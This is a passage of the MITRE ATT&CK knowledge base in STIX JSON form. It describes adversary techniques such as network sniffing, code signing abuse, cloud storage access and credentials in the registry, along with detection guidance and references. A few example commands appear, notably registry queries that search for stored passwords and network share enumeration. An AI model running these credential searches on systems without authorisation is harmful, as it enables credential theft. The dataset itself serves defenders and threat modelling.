reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Oleg Kolesnikov, Securonix", "Tiago Faria, 3CORESec", "Austin Clark, @c2defense", "Itamar Mizrahi, Cymptom", "Eliraz Levi, Hunters"], "x_mitre_deprecated": false, "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network", "IaaS"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_system_requirements": ["Network interface access and packet capture driver"], "type": "attack-pattern", "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "created": "2017-05-31T21:30:41.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1040", "external_id": "T1040"}, {"source_name": "AWS Traffic Mirroring", "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.", "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"}, {"source_name": "capture_embedded_packet_on_software", "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html"}, {"source_name": "GCP Packet Mirroring", "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.", "url": "https://cloud.google.com/vpc/docs/packet-mirroring"}, {"source_name": "SpecterOps AWS Traffic Mirroring", "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.", "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512"}, {"source_name": "Azure Virtual Network TAP", "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.", "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"}, {"source_name": "Rhino Security Labs AWS VPC Traffic Mirroring", "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.", "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", "type": "attack-pattern", "created": "2017-05-31T21:30:27.755Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1017", "external_id": "T1017"}, {"external_id": "CAPEC-187", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/187.html"}], "modified": "2020-03-23T15:40:50.965Z", "name": "Application Deployment Software", "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_system_requirements": ["Access to application deployment software (EPO, HPCA, Altiris, etc.)"], "x_mitre_is_subtechnique": false}, {"modified": "2022-09-22T19:13:52.548Z", "name": "Code Signing", "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.", "x_mitre_platforms": ["macOS", "Windows"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Metadata"], "x_mitre_defense_bypassed": ["Windows User Account Control"], "type": "attack-pattern", "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "created": "2020-02-05T16:27:37.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553/002", "external_id": "T1553.002"}, {"source_name": "EclecticLightChecksonEXECodeSigning", "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.", "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"}, {"source_name": "Securelist Digital Certificates", "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.", "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"}, {"source_name": "Symantec Digital Certificates", "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.", "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"}, {"source_name": "Wikipedia Code Signing", "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", "url": "https://en.wikipedia.org/wiki/Code_signing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-29T16:11:43.530Z", "name": "Data from Cloud Storage", "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_contributors": ["Netskope", "Praetorian", "AppOmni"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["IaaS", "SaaS", "Google Workspace", "Office 365"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Cloud Storage: Cloud Storage Access"], "type": "attack-pattern", "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "created": "2019-08-30T18:07:27.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1530", "external_id": "T1530"}, {"source_name": "Amazon S3 Security, 2019", "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"}, {"source_name": "Microsoft Azure Storage Security, 2019", "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.", "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"}, {"source_name": "Wired Magecart S3 Buckets, 2019", "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.", "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/"}, {"source_name": "Google Cloud Storage Best Practices, 2019", "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.", "url": "https://cloud.google.com/storage/docs/best-practices"}, {"source_name": "HIPAA Journal S3 Breach, 2017", "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.", "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"}, {"source_name": "Rclone-mega-extortion_05_2021", "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.", "url": "https://redcanary.com/blog/rclone-mega-extortion/"}, {"source_name": "Trend Micro S3 Exposed PII, 2017", "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.", "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", "type": "attack-pattern", "created": "2020-03-02T14:30:05.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1565.003", "url": "https://attack.mitre.org/techniques/T1565/003"}, {"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38", "source_name": "FireEye APT38 Oct 2018"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}], "modified": "2022-03-25T19:24:18.545Z", "name": "Runtime Data Manipulation", "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification", "File: File Deletion", "Process: OS API Execution", "File: File Metadata", "File: File Creation"], "x_mitre_impact_type": ["Integrity"], "x_mitre_permissions_required": ["User", "Administrator", "root", "SYSTEM"]}, {"modified": "2023-07-28T18:29:56.525Z", "name": "Credentials in Registry", "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Sudhanshu Chauhan, @Sudhanshu_C"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Access"], "x_mitre_system_requirements": ["Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."], "type": "attack-pattern", "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "created": "2020-02-04T12:58:40.678Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1552/002", "external_id": "T1552.002"}, {"source_name": "Pentestlab Stored Credentials", "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-29T19:44:43.870Z", "name": "Network Share Discovery", "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\\\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "3.2", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1135", "external_id": "T1135"}, {"source_name": "TechNet Shared Folder", "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.", "url": "https://technet.microsoft.com/library/cc770880.aspx"}, {"source_name": "Wikipedia Shared Resource", "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.", "url": "https://en.wikipedia.org/wiki/Shared_resource"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:41.575Z", "name": "Peripheral Device Discovery", "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation", "Command: Command Execution"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "type": "attack-pattern", "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "created": "2017-05-31T21:31:28.471Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1120", "external_id": "T1120"}, {"source_name": "Peripheral Discovery Linux", "description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.", "url": "https://linuxhint.com/list-usb-devices-linux/"}, {"source_name": "Peripheral Discovery macOS", "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.", "url": "https://ss64.com/osx/system_profiler.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_is_subtechnique": false}, {"modified": "2023-10-03T04:06:42.256Z", "name": "Break Process Trees", "description": "An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the \u201cparent-child\" relationship for detection, breaking this relationship could result in the adversary\u2019s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) \n\nOn Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the \u201cdaemon\u201d syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Tim (Wadhwa-)Brown"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c", "created": "2023-09-27T19:49:40.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/009", "external_id": "T1036.009"}, {"source_name": "3OHA double-fork 2022", "description": "Juan Tapiador. (2022, April 11). UNIX daemonization and the double fork. Retrieved September 29, 2023.", "url": "https://0xjet.github.io/3OHA/2022/04/11/post.html"}, {"source_name": "Microsoft XorDdos Linux Stealth 2022", "description": "Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/"}, {"source_name": "Sandfly BPFDoor 2022", "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.", "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5", "type": "attack-pattern", "created": "2020-10-02T15:49:03.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1590.004", "url": "https://attack.mitre.org/techniques/T1590/004"}, {"source_name": "DNS Dumpster", "url": "https://dnsdumpster.com/", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:33:02.476Z", "name": "Network Topology", "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", "type": "attack-pattern", "created": "2020-10-01T01:41:08.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1587.002", "url": "https://attack.mitre.org/techniques/T1587/002"}, {"url": "https://en.wikipedia.org/wiki/Code_signing", "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.", "source_name": "Wikipedia Code Signing"}], "modified": "2021-10-17T16:07:08.549Z", "name": "Code Signing Certificates", "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Malware Repository: Malware Metadata"]}, {"modified": "2023-04-21T12:27:04.900Z", "name": "Windows File and Directory Permissions Modification", "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. 